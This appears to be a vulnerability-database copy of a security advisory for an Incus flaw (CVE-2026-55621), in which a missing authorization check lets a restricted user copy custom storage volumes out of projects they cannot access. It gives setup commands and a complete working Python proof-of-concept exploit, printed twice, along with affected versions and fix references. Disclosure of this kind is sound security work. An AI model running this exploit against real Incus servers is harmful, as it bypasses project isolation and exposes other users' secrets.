GHSA-64F3-V33M-W89F
Vulnerability from github – Published: 2026-08-28 18:52 – Updated: 2026-08-28 18:52
VLAI
Summary
Incus has a project restriction bypass for custom volume copy across projects
Details
Summary
Missing authorization checks exist for custom volume copying where an attacker who knows the name of a project that they don't have access to and the name of a custom volume in that project can copy the custom volume to a new project. This issue could allow an attacker to access secrets in custom volumes they are not authorized to access.
Details
The storage volume creation handler authorizes creation in the target project, then passes req.Source.Project into the custom-volume copy path without checking that the caller can view the source volume. req.Source.Project is the attacker-controlled field. It is resolved to a storage volume project name and passed directly to CreateCustomVolumeFromCopy. No allowPermission or entitlement check (e.g. CanView on the source volume) is performed.
The copy must occur on the same server. However, once the copy has been done, nothing prevents a malicious actor from moving the volume to another server.
PoC
Setup
Assume the target server is remotely accessible and a user/certificate has been added.
# create a new project and instance
incus project create secrets
incus profile show default | incus --project secrets edit default
incus --project secrets storage volume create default secret-vol
# restrict an existing certificate to prevent access to the project
incus config trust edit cert-fp
#> set, for example
restricted: true
projects:
- default
# verification, with the restricted certificate
incus --project secrets storage volume ls remote:default
Exploitation
The below script was partly generated. To copy the secret instance to the default project, the following command can be used.
python3 poc.py --url https://IP-REMOTE:8443 \
--cert path/to/client.crt --key path/to/client.key \
--target-project default --source-project secrets \
--source-volume secret-vol --name copy-secret-vol \
--pool default --source-pool default \
--insecure
Wait a bit for the custom volume to be copied, then incus storage volume ls remote:default to see the copied instance.
#!/usr/bin/env python3
"""Copy a custom storage volume from another project into an allowed project."""
from __future__ import annotations
import argparse
import json
import ssl
import sys
import urllib.error
import urllib.parse
import urllib.request
def post(url: str, path: str, body: dict, cert: str, key: str, insecure: bool) -> bytes:
ctx = ssl.create_default_context()
if insecure:
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
ctx.load_cert_chain(cert, key)
req = urllib.request.Request(
url.rstrip("/") + path,
data=json.dumps(body).encode(),
method="POST",
headers={"Content-Type": "application/json", "Accept": "application/json"},
)
try:
with urllib.request.urlopen(req, context=ctx) as resp:
return resp.read()
except urllib.error.HTTPError as exc:
sys.stderr.write(exc.read().decode(errors="replace") + "\n")
raise
def main() -> int:
ap = argparse.ArgumentParser()
ap.add_argument("--url", required=True)
ap.add_argument("--cert", required=True)
ap.add_argument("--key", required=True)
ap.add_argument("--pool", required=True)
ap.add_argument("--target-project", required=True)
ap.add_argument("--source-project", required=True)
ap.add_argument("--source-volume", required=True)
ap.add_argument("--source-pool")
ap.add_argument("--name", required=True, help="new volume name in target project")
ap.add_argument("--content-type", default="filesystem", choices=["filesystem", "block"])
ap.add_argument("--volume-only", action="store_true")
ap.add_argument("--insecure", action="store_true")
ap.add_argument("--dry-run", action="store_true")
args = ap.parse_args()
source = {
"type": "copy",
"name": args.source_volume,
"project": args.source_project,
"volume_only": args.volume_only,
}
if args.source_pool:
source["pool"] = args.source_pool
body = {
"name": args.name,
"type": "custom",
"content_type": args.content_type,
"source": source,
}
path = "/1.0/storage-pools/{}/volumes/custom?{}".format(
urllib.parse.quote(args.pool, safe=""),
urllib.parse.urlencode({"project": args.target_project}),
)
print(json.dumps(body, indent=2))
if args.dry_run:
return 0
print(post(args.url, path, body, args.cert, args.key, args.insecure).decode(errors="replace"))
return 0
if __name__ == "__main__":
raise SystemExit(main())
Impact
An attacker can copy instances they don't normally have access to, possibly leading to information disclosure.
Severity
7.7 (High)
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/lxc/incus/v7"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "7.2.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/lxc/incus/v6"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "6.23.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/lxc/incus"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.7.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-55621"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-28T18:52:05Z",
"nvd_published_at": "2026-08-21T15:16:41Z",
"severity": "HIGH"
},
"details": "### Summary\n\nMissing authorization checks exist for custom volume copying where an attacker who knows the name of a project that they don\u0027t have access to and the name of a custom volume in that project can copy the custom volume to a new project. This issue could allow an attacker to access secrets in custom volumes they are not authorized to access.\n\n### Details\n\nThe storage volume creation handler authorizes creation in the target project, then passes `req.Source.Project` into the custom-volume copy path without checking that the caller can view the source volume. `req.Source.Project` is the attacker-controlled field. It is resolved to a storage volume project name and passed directly to `CreateCustomVolumeFromCopy`. No `allowPermission` or entitlement check (e.g. `CanView` on the source volume) is performed.\n\nThe copy must occur on the same server. However, once the copy has been done, nothing prevents a malicious actor from moving the volume to another server.\n\n### PoC\n#### Setup\n\nAssume the target server is remotely accessible and a user/certificate has been added.\n\n```\n# create a new project and instance\nincus project create secrets\nincus profile show default | incus --project secrets edit default\nincus --project secrets storage volume create default secret-vol\n\n# restrict an existing certificate to prevent access to the project\nincus config trust edit cert-fp\n#\u003e set, for example\nrestricted: true\nprojects:\n - default\n\n# verification, with the restricted certificate\nincus --project secrets storage volume ls remote:default\n```\n\n#### Exploitation\n\nThe below script was partly generated. To copy the secret instance to the default project, the following command can be used.\n\n```\npython3 poc.py --url https://IP-REMOTE:8443 \\\n --cert path/to/client.crt --key path/to/client.key \\\n --target-project default --source-project secrets \\\n --source-volume secret-vol --name copy-secret-vol \\\n --pool default --source-pool default \\\n --insecure\n```\n\nWait a bit for the custom volume to be copied, then `incus storage volume ls remote:default` to see the copied instance.\n\n```\n#!/usr/bin/env python3\n\"\"\"Copy a custom storage volume from another project into an allowed project.\"\"\"\n\nfrom __future__ import annotations\n\nimport argparse\nimport json\nimport ssl\nimport sys\nimport urllib.error\nimport urllib.parse\nimport urllib.request\n\n\ndef post(url: str, path: str, body: dict, cert: str, key: str, insecure: bool) -\u003e bytes:\n ctx = ssl.create_default_context()\n if insecure:\n ctx.check_hostname = False\n ctx.verify_mode = ssl.CERT_NONE\n ctx.load_cert_chain(cert, key)\n req = urllib.request.Request(\n url.rstrip(\"/\") + path,\n data=json.dumps(body).encode(),\n method=\"POST\",\n headers={\"Content-Type\": \"application/json\", \"Accept\": \"application/json\"},\n )\n try:\n with urllib.request.urlopen(req, context=ctx) as resp:\n return resp.read()\n except urllib.error.HTTPError as exc:\n sys.stderr.write(exc.read().decode(errors=\"replace\") + \"\\n\")\n raise\n\n\ndef main() -\u003e int:\n ap = argparse.ArgumentParser()\n ap.add_argument(\"--url\", required=True)\n ap.add_argument(\"--cert\", required=True)\n ap.add_argument(\"--key\", required=True)\n ap.add_argument(\"--pool\", required=True)\n ap.add_argument(\"--target-project\", required=True)\n ap.add_argument(\"--source-project\", required=True)\n ap.add_argument(\"--source-volume\", required=True)\n ap.add_argument(\"--source-pool\")\n ap.add_argument(\"--name\", required=True, help=\"new volume name in target project\")\n ap.add_argument(\"--content-type\", default=\"filesystem\", choices=[\"filesystem\", \"block\"])\n ap.add_argument(\"--volume-only\", action=\"store_true\")\n ap.add_argument(\"--insecure\", action=\"store_true\")\n ap.add_argument(\"--dry-run\", action=\"store_true\")\n args = ap.parse_args()\n\n source = {\n \"type\": \"copy\",\n \"name\": args.source_volume,\n \"project\": args.source_project,\n \"volume_only\": args.volume_only,\n }\n if args.source_pool:\n source[\"pool\"] = args.source_pool\n\n body = {\n \"name\": args.name,\n \"type\": \"custom\",\n \"content_type\": args.content_type,\n \"source\": source,\n }\n path = \"/1.0/storage-pools/{}/volumes/custom?{}\".format(\n urllib.parse.quote(args.pool, safe=\"\"),\n urllib.parse.urlencode({\"project\": args.target_project}),\n )\n print(json.dumps(body, indent=2))\n if args.dry_run:\n return 0\n print(post(args.url, path, body, args.cert, args.key, args.insecure).decode(errors=\"replace\"))\n return 0\n\n\nif __name__ == \"__main__\":\n raise SystemExit(main())\n```\n\n### Impact\n\nAn attacker can copy instances they don\u0027t normally have access to, possibly leading to information disclosure.",
"id": "GHSA-64f3-v33m-w89f",
"modified": "2026-08-28T18:52:05Z",
"published": "2026-08-28T18:52:05Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/lxc/incus/security/advisories/GHSA-64f3-v33m-w89f"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55621"
},
{
"type": "WEB",
"url": "https://github.com/lxc/incus/commit/2e01078366e2653712719dec82318e51c6d21b28"
},
{
"type": "PACKAGE",
"url": "https://github.com/lxc/incus"
},
{
"type": "WEB",
"url": "https://github.com/lxc/incus/releases/tag/v7.2.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Incus has a project restriction bypass for custom volume copy across projects"
}
Loading…
Loading…
Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Loading…
Loading…